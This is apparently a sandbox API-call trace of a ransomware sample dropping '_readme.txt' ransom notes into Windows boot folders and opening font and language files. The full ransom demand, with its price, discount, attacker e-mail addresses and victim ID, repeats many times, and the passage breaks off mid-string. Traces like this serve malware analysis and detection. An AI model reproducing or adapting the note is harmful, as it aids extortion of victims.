pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0117.348] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 0 [0117.348] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.348] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.348] CreateFileW (lpFileName="C:\\Boot\\Fonts\\_readme.txt" (normalized: "c:\\boot\\fonts\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.349] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.349] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\chs_boot.ttf") returned=".ttf" [0117.349] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.349] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\cht_boot.ttf") returned=".ttf" [0117.349] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.350] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\jpn_boot.ttf") returned=".ttf" [0117.350] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.350] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\kor_boot.ttf") returned=".ttf" [0117.350] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.350] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned=".ttf" [0117.350] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.350] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.350] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.350] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.351] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0117.351] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.351] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.351] PathFindFileNameW (pszPath="") returned="" [0117.351] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.351] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.351] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.351] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.351] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0117.351] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 0 [0117.351] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.352] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.352] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\_readme.txt" (normalized: "c:\\boot\\fr-fr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.352] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.352] PathFindExtensionW (pszPath="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned=".mui" [0117.352] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.352] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.352] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.352] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.352] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0117.352] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.352] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.352] PathFindFileNameW (pszPath="") returned="" [0117.352] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.353] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.353] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.353] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.353] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0117.353] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 0 [0117.353] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.353] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.353] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\_readme.txt" (normalized: "c:\\boot\\hu-hu\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.353] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.354] PathFindExtensionW (pszPath="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned=".mui" [0117.354] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.354] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.354] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0117.354] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.354] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0117.354] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.354] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.354] PathFindFileNameW (pszPath="") returned="" [0117.354] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.355] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.355] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.355] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.355] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0117.355] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 0 [0117.355] lstrcpyW (in: lpString1=0x6772170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and 